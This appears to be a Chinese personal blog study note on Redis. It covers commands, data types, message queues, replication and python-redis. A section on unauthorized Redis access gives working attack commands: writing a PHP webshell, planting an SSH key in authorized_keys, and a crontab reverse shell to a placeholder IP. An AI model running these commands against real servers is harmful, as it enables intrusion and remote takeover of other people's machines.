• 主页
  • 相册
  • 随笔
  • 目录
  • 存档
Total 244
Search AboutMe

  • 主页
  • 相册
  • 随笔
  • 目录
  • 存档

redis速成

2020-09-09

1. 定义

Redis是一个开源的、基于内存的数据结构存储器,可以用作数据库、缓存和消息中间件

Redis不仅仅是数据存储器,而是数据结构存储器。那是因为Redis支持客户端直接往里面塞各种类型的数据结构,比如String、List、Set、SortedSet、Map等等

2. 方法

首先需要创建键

1
2
3
4
SET runoobkey redis
OK
DEL runoobkey
(integer) 1

hset

1
2
3
描述:将哈希表key中的域field的值设为value。如果key不存在,一个新的哈希表被创建并进行HSET操作。如果域field已经存在于哈希表中,旧值将被覆盖

返回值:如果field是哈希表中的一个新建域,并且值设置成功,返回1。如果哈希表中域field已经存在且旧值已被新值覆盖,返回0。

hmset

1
描述:同时将多个field - value(域-值)对设置到哈希表key中。此命令会覆盖哈希表中已存在的域。如果key不存在,一个空哈希表被创建并执行HMSET操作。
  • set 就是普通的已key-value 方式存储数据,可以设置过期时间。时间复杂度为 O(1),没多执行一个 set 在redis 中就会多一个 key ,

  • hset 则是以hash 散列表的形式存储。超时时间只能设置在 大 key 上,单个 filed 则不可以设置超时。如果 filed 多了比较消耗cpu,但同时以 散列表存储则比较节省内存。

所以在实际的使用过程中应该使用 set 存储单个大文本非结构化数据 hset 则存储结构化数据,一个 hash 存储一条数据,一个 filed 则存储 一条数据中的一个属性,value 则是属性对应的值

1
2
3
hset user_1 id 1 name 张三 age 16 sex 1
# 一条数据一个hash 一个hash 里则包含4个filed
hset user_1 age 30

lpush

1
2
3
4
5
6
7
LPUSH list1 "foo"
(integer) 1
LPUSH list1 "bar"
(integer) 2
LRANGE list1 0 -1
1) "bar"
2) "foo"

watch

  • Redis Watch 命令用于监视一个(或多个) key ,如果在事务执行之前这个(或这些) key 被其他命令所改动,那么事务将被打断

2.1. 消息队列(Message queue,消息中间件)

消息队列提供了异步的通信协议,每一个贮列中的纪录包含详细说明的资料,包含发生的时间,输入设备的种类,以及特定的输入参数,也就是说:消息的发送者和接收者不需要同时与消息队列交互

消息队列常常保存在链表结构中。拥有权限的进程可以向消息队列中写入或读取消息


消息队列本身是异步的,它允许接收者在消息发送很长时间后再取回消息,这和大多数通信协议是不同的。例如WWW中使用的HTTP协议(HTTP/2之前)是同步的,因为客户端在发出请求后必须等待服务器回应。然而,很多情况下我们需要异步的通信协议。比如,一个进程通知另一个进程发生了一个事件,但不需要等待回应。

但消息队列的异步特点,也造成了一个缺点,就是接收者必须轮询消息队列,才能收到最近的消息

2.2. 作用

  • 解耦
    • 从消息队列通用接口拿数据而不用再在新建接口
  • 异步
    • 处理主线业务,分支业务可延时处理,例如下订单时,会附带其他很多分支业务。
  • 消峰
    • 这样就换慢一些(当然也达到上限了),但至少不会崩

3. redis消息队列类型

发布订阅

  • 发送者(pub)发送消息,订阅者(sub)接收消息
1
2
3
4
5
# 创建了订阅频道名为 redisChat:
SUBSCRIBE redisChat

# redis 客户端在同一个频道 redisChat发布消息
PUBLISH redisChat "Redis is a great caching technique"

4. 数据类型

类型简介特性场景
String(字符串)二进制安全可以包含任何数据,比如jpg图片或者序列化的对象,一个键最大能存储512M—
Hash(字典)键值对集合,即编程语言中的Map类型适合存储对象,并且可以像数据库中update一个属性一样只修改某一项属性值(Memcached中需要取出整个字符串反序列化成对象修改完再序列化存回去)存储、读取、修改用户属性
List(列表)链表(双向链表)增删快,提供了操作某一段元素的API1,最新消息排行等功能(比如朋友圈的时间线) 2,消息队列
Set(集合)哈希表实现,元素不重复1、添加、删除,查找的复杂度都是O(1) 2、为集合提供了求交集、并集、差集等操作1、共同好友 2、利用唯一性,统计访问网站的所有独立ip 3、好友推荐时,根据tag求交集,大于某个阈值就可以推荐
Sorted Set(有序集合)将Set中的元素增加一个权重参数score,元素按score有序排列数据插入集合时,已经进行天然排序1、排行榜 2、带权重的消息

4.0.1. map

  • TreeMap的实现是基于红黑树结构。适用于按自然顺序或自定义顺序遍历键(key)
    • 有点像OrderDict
  • HashMap:基于哈希表实现

5. C/S架构

我们可以通过Redis的命令行,当然也可以通过各种语言的Redis API,在代码里面对Hash表进行操作,这些都是Redis客户端(Client),而Hash表所在的是Redis服务端(Server),也就是说Redis其实是一个C/S架构

Redis的Server是单线程服务器,基于Event-Loop(轮询)模式来处理Client的请求,这一点和NodeJS很相似。使用单线程的好处包括

  • 不必考虑线程安全问题
  • 减少线程切换损耗的时间

6. 主从复制

  • Master-Slave模式
    • Master负责接收客户端的写入请求,将数据写到Master后,同步给Slave,实现数据备份。一旦Master挂了,可以将Slave提拔为Master
    • 一旦Master发现自己忙不过来了,可以把一些查询请求,转发给Slave去处理,也就是Master负责读写或者只负责写,Slave负责读

7. python redis

redis 提供两个类 Redis 和 StrictRedis, StrictRedis 用于实现大部分官方的命令,Redis 是 StrictRedis 的子类,用于向后兼用旧版本。

redis 取出的结果默认是字节,我们可以设定 decode_responses=True 改成字符串

1
2
3
4
5
6
7
8
9
10
11
import redis   # 导入redis 模块

r = redis.Redis(host='localhost', port=6379, decode_responses=True)
r.set('name', 'runoob') # 设置 name 对应的值
print(r['name'])
print(r.get('name')) # 取出键 name 对应的值
print(type(r.get('name'))) # 查看类型

runoob
runoob
<class 'str'>
  • 可以看到是未用密码就可connect

7.1. redis-mysql

redis python方法

1
2
3
4
5
6
7
8
9
10
11
12
13
1,hset(name, key, value)     ---- 更新一条数据的属性,没有则新建

2,hget(name, key) ---- 读取这条数据的指定属性, 返回字符串类型

3,hmset(name, mapping) ---- 批量更新数据(没有则新建)属性

4,hmget(name, keys, *args) ---- 批量读取数据(没有则新建)属性

5,hgetall(name) ---- 获取这条数据的所有属性和对应的值,返回字典类型

6,hkeys(name) ---- 获取这条数据的所有属性名,返回列表类型

6,hdel(name, *keys) ---- 删除这条数据的指定属性

8. redis未授权

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器

  • 直接暴露在公网
  • 没有设置密码认证(一般为空)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 直接无账号成功登录redis
redis-cli -h xx.xx.xx.xx

# 写webshell
config set dir /xxx
config set dbfilename xx.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"

# 通过SSH登录目标服务器
# 1.在攻击机中生成ssh公钥和私钥,密码设置为空
# 2. 将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入)
cat 1.txt| redis-cli -h xx.xx.xx.xx set crack
# 3. 登录靶机的redis服务并使用 CONFIG GET dir 命令得到redis备份的路径
CONFIG GET dir
# 4.更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
CONFIG SET dbfilename authorized_keys
save
exit
ssh -i id_rsa root@xx.xx.xx.xx
# crontab反弹shell

nc -lvnp 4444

redis-cli -h xx.xx.xx.xx
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/xx.xx.xx.xx/4444 0>&1\n\n"
config set dir /var/spool/cron/crontab
config set dbfilename root
save
  • CONFIG 命令查看或设置配置项
  • dbfilename 备份文件
  • \r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

9. getshell python脚本

  • redis-rogue-server
  • redis-rce

10. redis高并发

1
2
3
4
5
1.redis是基于内存的,内存的读写速度非常快;

2.redis是单线程的,省去了很多上下文切换线程的时间;

3.redis使用多路复用技术,可以处理并发的连接。非阻塞IO 内部实现采用epoll,采用了epoll+自己实现的简单的事件框架。epoll中的读、写、关闭、连接都转化成了事件,然后利用epoll的多路复用特性,绝不在io上浪费一点时间。

11. redis持久化

1

12. 参考

  • Redis简明教程 - 知乎
  • Python redis 使用介绍 | 菜鸟教程
  • 10.Redis未授权访问漏洞复现与利用 - bmjoker - 博客园
  • Redis实现简单消息队列
  • redis 中 set 和 hset 有什么不同,什么时候使用 hset 什么时候使用set?_wab719591157的专栏-CSDN博客
  • Sql
  • redis
系统小知识-1
linux小知识-2
  1. 1. 1. 定义
  2. 2. 2. 方法
    1. 2.1. 2.1. 消息队列(Message queue,消息中间件)
    2. 2.2. 2.2. 作用
  3. 3. 3. redis消息队列类型
  4. 4. 4. 数据类型
    1. 4.0.1. 4.0.1. map
  • 5. 5. C/S架构
  • 6. 6. 主从复制
  • 7. 7. python redis
    1. 7.1. 7.1. redis-mysql
  • 8. 8. redis未授权
  • 9. 9. getshell python脚本
  • 10. 10. redis高并发
  • 11. 11. redis持久化
  • 12. 12. 参考
  • © 2024 何决云 载入天数...